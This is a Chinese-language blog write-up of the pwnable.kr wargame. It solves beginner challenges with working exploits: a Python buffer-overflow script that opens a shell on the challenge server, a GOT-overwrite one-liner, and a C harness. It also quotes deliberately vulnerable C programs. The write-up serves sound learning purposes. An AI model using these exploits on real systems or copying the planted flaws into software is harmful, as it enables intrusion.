通过pwnable.kr从零学pwn

本文链接:http://blog.csdn.net/u012763794/article/details/51992512


下面的这个地址很多ctf的学习资源都是有推荐的

挑战地址:http://pwnable.kr/play.php


fd

首先不用说给了就直接连上去

看一下代码


重要函数:read

ssize_t read(int fd,void * buf ,size_t count);
函数说明
read()会把参数fd 所指的文件传送count个字节到buf指针所指的内存中。若参数count为0,则read()不会有作用并返回0。返回值为实际读取到的字节数,如果返回0,表示已到达文件尾或是无可读取的数据,此外文件读写位置会随读取到的字节移动。


还有一个就是linux的文件描述符

Integer value Name <unistd.h> symbolic constant[1] <stdio.h> file stream[2]
0Standard inputSTDIN_FILENOstdin
1Standard outputSTDOUT_FILENOstdout
2Standard errorSTDERR_FILENOstderr
那么我们只要控制了fd的值为标准输入,那么buf的值就可以用我们的键盘输入了,

目标是使fd为0,那么我们传进去的第一个参数就是0x1234,即十进制的4660

成功get flag



collision 

这个也是直接给代码了,先看看代码吧
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
        int* ip = (int*)p;
        int i;
        int res=0;
        for(i=0; i<5; i++){
                res += ip[i];
        }
        return res;
}

int main(int argc, char* argv[]){
        if(argc<2){
                printf("usage : %s [passcode]\n", argv[0]);
                return 0;
        }
        if(strlen(argv[1]) != 20){
                printf("passcode length should be 20 bytes\n");
                return 0;
        }

        if(hashcode == check_password( argv[1] )){
                system("/bin/cat flag");
                return 0;
        }
        else
                printf("wrong passcode.\n");
        return 0;
}
首先要有一个命令行参数,而且长度必须为20
跟着在check_password里面强制转化为int指针,char占用1位,int4位,那么转化后就是5个数组了,跟那个for循环也是吻合的,那么就是说
也就是char转化为int后加起来要等于那个十六进制串

我们随便减一下就好了,看看哪5个加起来等于他就行了

这个还要是小端模式


bof 

代码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}
只要覆盖key的值为0xcafebabe就可以了

用ida打开发现overflowme的基址为ebp-0x2c,即44个字节,再加上ebp和返回地址的8个字节就是52个字节,最后的4个字节覆盖就可以了


那么最终的利用代码为
# -*-coding:utf8 -*-
import socket
import telnetlib
import struct

# 将32位的整数转化为字符串(小端模式)
def p32(val):
	# <:小端模式  L:unsigned long
	return struct.pack("<L", val)

def pwn():
	# 创建一个TCP socket
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	# 连接服务器的9000端口(接收的参数是一个元组)
	s.connect(("pwnable.kr",9000))
	# 目标被填充的地址
	target_addr = p32(0xcafebabe)

	# 构造payload
	payload = 'A' * 52 + target_addr

	# 向服务器发送数据
	s.sendall(payload + '\n')
	# 创建一个telnet来产生一个控制服务器的shell
	t = telnetlib.Telnet() 
	t.sock = s
	t.interact()

pwn()

flag


题目说是逆向任务,linux64位的elf,别人说加了壳,从ida可以看到,我终于从hex看到了

当然直接notepad++什么的搜索一下, linux有壳的话一般是upx吧,linux一般开源,不需要加壳什么的吧,除了安卓 难过


那么直接 upx -d 解一下, 再用ida打开看到了flag


点过去


提交不对,这个只是注释,可能有些字符不可见或者被空格截断了

再用notepad++搜索一下UPX    果然



passcode 


这个难道跨度对于我来说有点大,先看看源码

#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

先熟悉一下汇编代码吧,反正初学嘛

下面我们可以看到scanf有写取地址符&和没写的区别,有写就是用lea指令,再入栈(最终是栈的地址入栈),没写就直接入栈了(最终是栈地址上对应的值入栈了)

Dump of assembler code for function main:
   0x08048665 <+0>:     push   %ebp
   0x08048666 <+1>:     mov    %esp,%ebp
   0x08048668 <+3>:     and    $0xfffffff0,%esp
   0x0804866b <+6>:     sub    $0x10,%esp
   0x0804866e <+9>:     movl   $0x80487f0,(%esp)   ;"Toddler's Secure Login System 1.0 beta.\n"入栈
   0x08048675 <+16>:    call   0x8048450 <puts@plt> ;调用put函数
   0x0804867a <+21>:    call   0x8048609 <welcome> ; 调用welcome函数
   0x0804867f <+26>:    call   0x8048564 <login> ;调用login函数
   0x08048684 <+31>:    movl   $0x8048818,(%esp) ;"Now I can safely trust you that you have credential :)"  入栈
   0x0804868b <+38>:    call   0x8048450 <puts@plt> ;调用put函数
   0x08048690 <+43>:    mov    $0x0,%eax  ;返回值为0 
   0x08048695 <+48>:    leave ;相当于 mov %ebp,%esp  pop ebp 这两条指令,用来平衡堆栈
   0x08048696 <+49>:    ret   ;返回
End of assembler dump.


Dump of assembler code for function welcome:
   0x08048609 <+0>:     push   %ebp
   0x0804860a <+1>:     mov    %esp,%ebp
   0x0804860c <+3>:     sub    $0x88,%esp
   0x08048612 <+9>:     mov    %gs:0x14,%eax
   0x08048618 <+15>:    mov    %eax,-0xc(%ebp)
   0x0804861b <+18>:    xor    %eax,%eax
   0x0804861d <+20>:    mov    $0x80487cb,%eax  ;"enter you name : "
   0x08048622 <+25>:    mov    %eax,(%esp)      ;入栈
   0x08048625 <+28>:    call   0x8048420 <printf@plt> ;printf输出
   0x0804862a <+33>:    mov    $0x80487dd,%eax  ;"%100s"的地址
   0x0804862f <+38>:    lea    -0x70(%ebp),%edx ;name局部变量地址
   0x08048632 <+41>:    mov    %edx,0x4(%esp) ;name入栈
   0x08048636 <+45>:    mov    %eax,(%esp) ;"%100s"的地址入栈
   0x08048639 <+48>:    call   0x80484a0 <__isoc99_scanf@plt> ;调用scanf函数
   0x0804863e <+53>:    mov    $0x80487e3,%eax ;"Welcome %s!\n"字符串地址
   0x08048643 <+58>:    lea    -0x70(%ebp),%edx ;name的首地址
   0x08048646 <+61>:    mov    %edx,0x4(%esp)   ;name首地址入栈
   0x0804864a <+65>:    mov    %eax,(%esp)      ;"Welcome %s!\n"字符串入栈
   0x0804864d <+68>:    call   0x8048420 <printf@plt> ;调用printf函数
   0x08048652 <+73>:    mov    -0xc(%ebp),%eax 
   0x08048655 <+76>:    xor    %gs:0x14,%eax      ;这个应该是跟前面的相对应的吧,暂时不懂什么意思,根据下面的判断应该是跟栈相关的,难道也是堆栈平衡?
   0x0804865c <+83>:    je     0x8048663 <welcome+90>
   0x0804865e <+85>:    call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:    leave
   0x08048664 <+91>:    ret
End of assembler dump.

Dump of assembler code for function login:
   0x08048564 <+0>:  push   %ebp
   0x08048565 <+1>:  mov    %esp,%ebp
   0x08048567 <+3>:  sub    $0x28,%esp
   0x0804856a <+6>:  mov    $0x8048770,%eax ;"enter passcode1 : "地址
   0x0804856f <+11>: mov    %eax,(%esp) ;入栈
   0x08048572 <+14>: call   0x8048420 <printf@plt> ;调用printf
   0x08048577 <+19>: mov    $0x8048783,%eax ;"%d"的地址
   0x0804857c <+24>: mov    -0x10(%ebp),%edx ;passcode1
   0x0804857f <+27>: mov    %edx,0x4(%esp) ;这里就是问题,把栈上储存的内容入栈了,而不是把栈的地址入栈
   0x08048583 <+31>: mov    %eax,(%esp) ;"%d"的地址入栈
   0x08048586 <+34>: call   0x80484a0 <__isoc99_scanf@plt> ;调用scanf
   0x0804858b <+39>: mov    0x804a02c,%eax ;stdin入栈
   0x08048590 <+44>: mov    %eax,(%esp)
   0x08048593 <+47>: call   0x8048430 <fflush@plt> ;fflush(stdin):刷新标准输入缓冲区,把输入缓冲区里的东西丢弃
   0x08048598 <+52>: mov    $0x8048786,%eax  ;"enter passcode2 : "
   0x0804859d <+57>: mov    %eax,(%esp) ;入栈
   0x080485a0 <+60>: call   0x8048420 <printf@plt> 
   0x080485a5 <+65>: mov    $0x8048783,%eax ;"%d"
   0x080485aa <+70>: mov    -0xc(%ebp),%edx ;passcode2
   0x080485ad <+73>: mov    %edx,0x4(%esp) ;这里就是问题,把栈上储存的内容入栈了,而不是把栈的地址入栈
   0x080485b1 <+77>: mov    %eax,(%esp) ;"%d"入栈
   0x080485b4 <+80>: call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>: movl   $0x8048799,(%esp)  ;"checking..."
   0x080485c0 <+92>: call   0x8048450 <puts@plt> ;输出
   0x080485c5 <+97>: cmpl   $0x528e6,-0x10(%ebp) ;passcode1与0x528e6相比
   0x080485cc <+104>:   jne    0x80485f1 <login+141> ;不等就跳到登陆失败
   0x080485ce <+106>:   cmpl   $0xcc07c9,-0xc(%ebp) ;passcode2与0xcc07c9相比
   0x080485d5 <+113>:   jne    0x80485f1 <login+141> ;不等也是跳到登陆失败
   0x080485d7 <+115>:   movl   $0x80487a5,(%esp) ;"Login OK!"
   0x080485de <+122>:   call   0x8048450 <puts@plt>
   0x080485e3 <+127>:   movl   $0x80487af,(%esp) ;"/bin/cat flag"
   0x080485ea <+134>:   call   0x8048460 <system@plt>
   0x080485ef <+139>:   leave  ;平衡堆栈
   0x080485f0 <+140>:   ret    
   0x080485f1 <+141>:   movl   $0x80487bd,(%esp) ;"Login Failed!"
   0x080485f8 <+148>:   call   0x8048450 <puts@plt>
   0x080485fd <+153>:   movl   $0x0,(%esp)
   0x08048604 <+160>:   call   0x8048480 <exit@plt>
End of assembler dump.


通过代码发现,name基址在ebp-0x70, 退出welcome函数后login的栈的基本结构跟welcome一致,ebp-0x10,  那么相差0x70-0x10=0x60,即96个地址,name刚好100个字节,那么我们覆盖name的最后4个字节就可以对passcode1的值进行控制,再加上利用scanf函数,就可以对任意的四字节的地址进行写操作,


python -c "print 'A' * 96 + '\x00\xa0\x04\x08' + '134514147\n'" | ./passcode
其中0804a00是plt表中printf的地址,因为scanf要输入的是%d, 0x080485e3的十进制就是134514147


random 

看看代码

#include <stdio.h>

int main(){
        unsigned int random;
        random = rand();        // random value!

        unsigned int key=0;
        scanf("%d", &key);

        if( (key ^ random) == 0xdeadbeef ){
                printf("Good!\n");
                system("/bin/cat flag");
                return 0;
        }

        printf("Wrong, maybe you should try 2^32 cases.\n");
        return 0;
}
就是要我们输入的key跟生成的随机数异或后为0xdeadbeef

但我们发现没有设置种子(设置种子也要变化啊),每次生成的值都是一样的

那就好办了,直接跟那个结果异或一下就得出key了



input


参考自:https://werewblog.wordpress.com/2016/01/11/pwnable-kr-input/

代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
        printf("Welcome to pwnable.kr\n");
        printf("Let's see if you know how to give input to program\n");
        printf("Just give me correct inputs then you will get the flag :)\n");

        // argv
        if(argc != 100) return 0;
        if(strcmp(argv['A'],"\x00")) return 0;
        if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
        printf("Stage 1 clear!\n");

        // stdio
        char buf[4];
        read(0, buf, 4);
        if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
        read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
        printf("Stage 2 clear!\n");

        // env
        if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
        printf("Stage 3 clear!\n");

        // file
        FILE* fp = fopen("\x0a", "r");
        if(!fp) return 0;
        if( fread(buf, 4, 1, fp)!=1 ) return 0;
        if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
        fclose(fp);
        printf("Stage 4 clear!\n");

        // network
        int sd, cd;
        struct sockaddr_in saddr, caddr;
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd == -1){
                printf("socket error, tell admin\n");
                return 0;
        }
        saddr.sin_family = AF_INET;
        saddr.sin_addr.s_addr = INADDR_ANY;
        saddr.sin_port = htons( atoi(argv['C']) );
        if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
                printf("bind error, use another port\n");
                return 1;
        }
        listen(sd, 1);
        int c = sizeof(struct sockaddr_in);
        cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
        if(cd < 0){
                printf("accept error, tell admin\n");
                return 0;
        }
        if( recv(cd, buf, 4, 0) != 4 ) return 0;
        if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
        printf("Stage 5 clear!\n");

        // here's your flag
        system("/bin/cat flag");
        return 0;
}


2016.09.17:好久没去学习了,学习或者写博客的时候将时间也记录一下,方便以后查看回忆

这一题会检测各种输入是否满足要求,但是觉得有点多条件了,拖了很久了,今天搞一天也要搞明白吧

Stage 1

这题我们一关一关过吧,考的是耐心和编程基础什么的

// argv
        if(argc != 100) return 0;
        if(strcmp(argv['A'],"\x00")) return 0;
        if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
首先参数个数要100个,减去程序本身,就是我们输入99个参数

第二行argv['A']应该跟argv[65]等价的吧,就是我们输入的第10个等于0x00,

那么第三行就是arg[66]个要等于"\x20\x0a\x0d"


这里没什么头绪,只能看别人的,这不可见字符怎么传递到参数中呢,原来linux有个函数execve,在<unistd.h>中

execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。exec函数一共有六个,其中execve为内核级系统调用,其他(execl,execle,execlp,execv,execvp)都是调用execve的库函数。

int execve(const char * filename,char * const argv[ ],char * const envp[ ]);

execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。


来编写我们的第一关的程序,此外我们发现/var/mail目录是777,那我们就在这开干吧

#include "stdio.h"
#include "unistd.h"

int main()
{
	char *argv[101] = {"/home/input/input", [1 ... 99] = "A", NULL};
	argv['A'] = "\x00";
	argv['B'] = "\x20\x0a\x0d";
	execve("/home/input/input", argv, NULL);

	return 0;
}
传递的参数第一个是程序的路径,后面就是99了,为啥后面加个NULL呢,因为execve参数说明那里是用指针数组传递并以空指针NULL结束

初始化完成后改一下再去传递给input程序就好了,效果如下:



Stage 2

// stdio  
        char buf[4];  
        read(0, buf, 4);  
        if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;  
        read(2, buf, 4);  
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;  
        printf("Stage 2 clear!\n");

这里要从标准输入和标准错误中读取要等于这两,只能跟着人家大神来,据说要用pipe,马上去看了一波,这个linux课上讲过的,忘的差不多了

 int pipe(int filedes[2]);

pipe()会建立管道,filedes[0]为管道里的读取端,filedes[1]则为管道的写入端。父子进程可通过此通信

#include "stdio.h"
#include "unistd.h"
#include <stdlib.h>

int main()
{
	//Stage 1
	char *argv[101] = {"/home/input/input", [1 ... 99] = "A", NULL};
	argv['A'] = "\x00";
	argv['B'] = "\x20\x0a\x0d";

	//Stage 2
	int pipe2stdin[2] = {-1, -1};
	int pip2stderr[2] = {-1, -1};
	pid_t childpid;

	// 创建两个管道
	if (pipe(pipe2stdin)<0 || pipe(pip2stderr)<0){
		perror("Cannot create the pipe");
		exit(1);
	}

	// 创建子进程
	if ((childpid = fork()) < 0)	{
		perror("Cannot fork");
		exit(1);
	}

	// 判断当前在子进程还是父进程
	if (childpid == 0){
		/*  子进程 */
		// 首先关闭管道的读取端
		close(pipe2stdin[0]);
		close(pip2stderr[0]);
		// 写入
		write(pipe2stdin[1], "\x00\x0a\x00\xff", 4);
		write(pip2stderr[1], "\x00\x0a\x02\xff", 4);
	}else{
		/* 父进程 */
		// 首先关闭管道的写入端
		close(pipe2stdin[1]);
		close(pip2stderr[1]);
		// 分别读取到stdin和stderr
		dup2(pipe2stdin[0], 0);
		dup2(pip2stderr[0], 2);
		close(pipe2stdin[0]);
		close(pip2stderr[0]);
		execve("/home/input/input", argv, NULL);
	}
	return 0;
}
结果:



Stage 3

// env  
        if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;  
        printf("Stage 3 clear!\n");  

这里我们execve("/home/input/input",argv,env);   的第三个参数就用到了
这个搞两行代码就好了





Stage 4

// file  
        FILE* fp = fopen("\x0a", "r");  
        if(!fp) return 0;  
        if( fread(buf, 4, 1, fp)!=1 ) return 0;  
        if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;  
        fclose(fp);  
        printf("Stage 4 clear!\n");

看一下那个fread函数吧,上面就是从文件指针的地方读取1个4字节读取到buf,跟着就跟4个0x00比较了,要相等才能绕过


既然他要读取文件,我们就创建一个文件咯
FILE* fp = fopen("0x0a", "w");
	fwrite("\x00\x00\x00\x00", 4, 1, fp);
	fclose(fp);

还有最后一关 奋斗


Stage 5


最后一关,有点长啊,先注释熟悉一下代码
// network
        int sd, cd;
        struct sockaddr_in saddr, caddr;
        // 新建套接字
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd == -1){
                printf("socket error, tell admin\n");
                return 0;
        }
        /*接下来设置一些关键参数*/
        //AF_INET(又称PF_INET)是IPv4网络协议的套接字类型
        saddr.sin_family = AF_INET;
        // 监听所有地址:即0.0.0.0
        saddr.sin_addr.s_addr = INADDR_ANY;
        // 设置监听端口,htons()--"Host to Network Short":主机字节序转化为网络字节序
        // atoi把字符串转换成整型数
        saddr.sin_port = htons( atoi(argv['C']) );
        // 绑定端口(将套接字和指定的端口相连)
        if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
                printf("bind error, use another port\n");
                return 1;
        }
        // 监听 int listen(int sock_fd, int backlog); sock_fd 是socket()函数返回值;backlog指定在请求队列中允许的最大请求数
        listen(sd, 1);
        int c = sizeof(struct sockaddr_in);
        //用于接受客户端的服务请求,成功返回新的套接字描述符,失败返回-1,并置errno。 参数说明: sock_fd是被监听的socket描述符,  addr通常是一个指向sockaddr_in变量的指针,    addrlen是结构sockaddr_in的长度。
        cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
        if(cd < 0){
                printf("accept error, tell admin\n");
                return 0;
        }
        //ssize_t recv(int sockfd, void *buff, size_t nbytes, int flags);
        //返回读入的字节数,要读入4个字节,并为\xde\xad\xbe\xef
        if( recv(cd, buf, 4, 0) != 4 ) return 0;
        if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
        printf("Stage 5 clear!\n");

我们先选一个端口吧,就6666,那么我们就要将argv['C'] = "6666";

方法1 :我们可以管道符传递数据过去也是可以的

方法2: 我们是写一个socket客户端,
// Stage 5
	// 等待程序前面的东西执行玩
	sleep(2);
	int sockfd;
	struct sockaddr_in server;
	sockfd = socket(AF_INET, SOCK_STREAM, 0);
	if (sockfd < 0){
		perror("Cannot create the socker");
		exit(1);
	}
	// 设置地址和端口,与argv['C']相对应就行
	server.sin_family = AF_INET;
	server.sin_addr.s_addr = inet_addr("127.0.0.1");
	server.sin_port = htons(6666);
	// 连接本地的服务器
	if (connect(sockfd, (struct sockaddr*) &server, sizeof(server)))	{
		perror("Problem connecting");
		exit(1);
	}
	printf("Connected\n");
	// 向服务器写数据
	char buf[4] = "\xde\xad\xbe\xef";
	write(sockfd, buf, 4);
	close(sockfd);


还有一个问题,flag不在当前目录啊,我们做一个链接就好了,可以简单地理解为快捷方式
但是mali目录没权限,那只好到/tmp目录去了


终于搞掂了,也学会了很多linux下的C编程,值了

完整代码
#include "stdio.h"
#include "unistd.h"
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main()
{
        //Stage 1
        char *argv[101] = {"/home/input/input", [1 ... 99] = "A", NULL};
        //Stage 3
        char *env[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL};
        argv['A'] = "\x00";
        argv['B'] = "\x20\x0a\x0d";
        argv['C'] = "6666";

        //Stage 2
        int pipe2stdin[2] = {-1, -1};
        int pip2stderr[2] = {-1, -1};
        pid_t childpid;

        //Stage 4
        FILE *fp = fopen("\x0a", "w");
        fwrite("\x00\x00\x00\x00", 4, 1, fp);
        fclose(fp);

        // 创建两个管道
        if (pipe(pipe2stdin)<0 || pipe(pip2stderr)<0){
                perror("Cannot create the pipe");
                exit(1);
        }

        // 创建子进程
        if ((childpid = fork()) < 0)    {
                perror("Cannot fork");
                exit(1);
        }

        // 判断当前在子进程还是父进程
        if (childpid == 0){
                /*  父进程 */
                // 首先关闭管道的读取端
                close(pipe2stdin[0]);
                close(pip2stderr[0]);
                // 写入
                write(pipe2stdin[1], "\x00\x0a\x00\xff", 4);
                write(pip2stderr[1], "\x00\x0a\x02\xff", 4);
        }else{
                /* 子进程 */
                // 首先关闭管道的写入端
                close(pipe2stdin[1]);
                close(pip2stderr[1]);
                // 分别读取到stdin和stderr
                dup2(pipe2stdin[0], 0);
                dup2(pip2stderr[0], 2);
                close(pipe2stdin[0]);
                close(pip2stderr[0]);
                execve("/home/input/input", argv, env);
        }

        // Stage 5
        // 等待程序前面的东西执行玩
        sleep(2);
        int sockfd;
        struct sockaddr_in server;
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        if (sockfd < 0){
                perror("Cannot create the socker");
                exit(1);
        }
        // 设置地址和端口,与argv['C']相对应就行
        server.sin_family = AF_INET;
        server.sin_addr.s_addr = inet_addr("127.0.0.1");
        server.sin_port = htons(6666);
        // 连接本地的服务器
        if (connect(sockfd, (struct sockaddr*) &server, sizeof(server))){
                perror("Problem connecting");
                exit(1);
        }
        printf("Connected\n");
        // 向服务器写数据
        char buf[4] = "\xde\xad\xbe\xef";
        write(sockfd, buf, 4);
        close(sockfd);
        return 0;
}

leg



代码
#include <stdio.h>
#include <fcntl.h>
int key1(){
	asm("mov r3, pc\n");
}
int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n"
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"
	"pop	{r6}\n"
	);
}
int key3(){
	asm("mov r3, lr\n");
}
int main(){
	int key=0;
	printf("Daddy has very strong arm! : ");
	scanf("%d", &key);
	if( (key1()+key2()+key3()) == key ){
		printf("Congratz!\n");
		int fd = open("flag", O_RDONLY);
		char buf[100];
		int r = read(fd, buf, 100);
		write(0, buf, r);
	}
	else{
		printf("I have strong leg :P\n");
	}
	return 0;
}

题目给的gdb的调试文字版
(gdb) disass main
Dump of assembler code for function main:
   0x00008d3c <+0>:	push	{r4, r11, lr}
   0x00008d40 <+4>:	add	r11, sp, #8
   0x00008d44 <+8>:	sub	sp, sp, #12
   0x00008d48 <+12>:	mov	r3, #0
   0x00008d4c <+16>:	str	r3, [r11, #-16]
   0x00008d50 <+20>:	ldr	r0, [pc, #104]	; 0x8dc0 <main+132>
   0x00008d54 <+24>:	bl	0xfb6c <printf>
   0x00008d58 <+28>:	sub	r3, r11, #16
   0x00008d5c <+32>:	ldr	r0, [pc, #96]	; 0x8dc4 <main+136>
   0x00008d60 <+36>:	mov	r1, r3
   0x00008d64 <+40>:	bl	0xfbd8 <__isoc99_scanf>
   0x00008d68 <+44>:	bl	0x8cd4 <key1>
   0x00008d6c <+48>:	mov	r4, r0
   0x00008d70 <+52>:	bl	0x8cf0 <key2>
   0x00008d74 <+56>:	mov	r3, r0
   0x00008d78 <+60>:	add	r4, r4, r3
   0x00008d7c <+64>:	bl	0x8d20 <key3>
   0x00008d80 <+68>:	mov	r3, r0
   0x00008d84 <+72>:	add	r2, r4, r3
   0x00008d88 <+76>:	ldr	r3, [r11, #-16]
   0x00008d8c <+80>:	cmp	r2, r3
   0x00008d90 <+84>:	bne	0x8da8 <main+108>
   0x00008d94 <+88>:	ldr	r0, [pc, #44]	; 0x8dc8 <main+140>
   0x00008d98 <+92>:	bl	0x1050c <puts>
   0x00008d9c <+96>:	ldr	r0, [pc, #40]	; 0x8dcc <main+144>
   0x00008da0 <+100>:	bl	0xf89c <system>
   0x00008da4 <+104>:	b	0x8db0 <main+116>
   0x00008da8 <+108>:	ldr	r0, [pc, #32]	; 0x8dd0 <main+148>
   0x00008dac <+112>:	bl	0x1050c <puts>
   0x00008db0 <+116>:	mov	r3, #0
   0x00008db4 <+120>:	mov	r0, r3
   0x00008db8 <+124>:	sub	sp, r11, #8
   0x00008dbc <+128>:	pop	{r4, r11, pc}
   0x00008dc0 <+132>:	andeq	r10, r6, r12, lsl #9
   0x00008dc4 <+136>:	andeq	r10, r6, r12, lsr #9
   0x00008dc8 <+140>:			; <UNDEFINED> instruction: 0x0006a4b0
   0x00008dcc <+144>:			; <UNDEFINED> instruction: 0x0006a4bc
   0x00008dd0 <+148>:	andeq	r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:	add	r11, sp, #0
   0x00008cdc <+8>:	mov	r3, pc
   0x00008ce0 <+12>:	mov	r0, r3
   0x00008ce4 <+16>:	sub	sp, r11, #0
   0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec <+24>:	bx	lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:	add	r11, sp, #0
   0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:	add	r6, pc, #1
   0x00008d00 <+16>:	bx	r6
   0x00008d04 <+20>:	mov	r3, pc
   0x00008d06 <+22>:	adds	r3, #4
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3
   0x00008d14 <+36>:	sub	sp, r11, #0
   0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c <+44>:	bx	lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:	add	r11, sp, #0
   0x00008d28 <+8>:	mov	r3, lr
   0x00008d2c <+12>:	mov	r0, r3
   0x00008d30 <+16>:	sub	sp, r11, #0
   0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d38 <+24>:	bx	lr
End of assembler dump.
(gdb) 

通过看代码,我们只要保证我们的输入的key等于那三个函数的返回值之和就可以了,
还有一点是,arm是以r0返回的

先看key1

  0x00008cdc <+8>:	mov	r3, pc
  0x00008ce0 <+12>:	mov	r0, r3

pc寄存器,直觉是指向下一条指令的地址啊,查了一下


由于上面的指令都是四字节的,看地址就知道了

所以判断是arm模式,那么pc就是当前指令地址+8了


那么key1就是  0x00008cdc + 8 = 0x00008ce4 


再看key2

跳转地址最低位( lsb ) 为0表示 arm 指令;最低位为1表示thumb指令。

0x00008cfc <+12>:	add	r6, pc, #1
0x00008d00 <+16>:	bx	r6
那么这样就使r6最低位为1,那么就转化为thum模式

那么pc就是当前地址加4了

就是 0x00008d04 + 4 +4 = 0x00008d0c


最后看key3

(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:	add	r11, sp, #0
   0x00008d28 <+8>:	mov	r3, lr
   0x00008d2c <+12>:	mov	r0, r3
   0x00008d30 <+16>:	sub	sp, r11, #0
   0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d38 <+24>:	bx	lr
End of assembler dump.
(gdb)


lr寄存器是链接寄存器(link register),是保存着函数的返回地址,即key3的返回地址

所以key3的返回值就是0x00008d80



那么最终




mistake

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
        int i;
        for(i=0; i<len; i++){
                s[i] ^= XORKEY;
        }
}

int main(int argc, char* argv[]){

        int fd;
        if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
                printf("can't open password %d\n", fd);
                return 0;
        }

        printf("do not bruteforce...\n");
        sleep(time(0)%20);

        char pw_buf[PW_LEN+1];
        int len;
        if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
                printf("read error\n");
                close(fd);
                return 0;
        }

        char pw_buf2[PW_LEN+1];
        printf("input password : ");
        scanf("%10s", pw_buf2);

        // xor your input
        xor(pw_buf2, 10);

        if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
                printf("Password OK\n");
                system("/bin/cat flag\n");
        }
        else{
                printf("Wrong Password\n");
        }

        close(fd);
        return 0;
}


首先password文件没权限读


程序就是首先打开password文件,睡眠当前时间跟20取余,跟着就读文件,跟着要我们输入密码,每个字符跟1一会一下,最后就判断是否跟文件中的一致了


题目的提示是优先级

<pre name="code" class="cpp">if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){  
                printf("can't open password %d\n", fd);  
                return 0;  
        } 

 

=号的优先级小于<,所以fd的值为0,

下面这里就会重标准输入中读取了

len=read(fd,pw_buf,PW_LEN)

那么就简单了,我们输入1,异或后就是0



shellshock 

#include <stdio.h>
int main(){
        setresuid(getegid(), getegid(), getegid());
        setresgid(getegid(), getegid(), getegid());
        system("/home/shellshock/bash -c 'echo shock_me'");
        return 0;
}
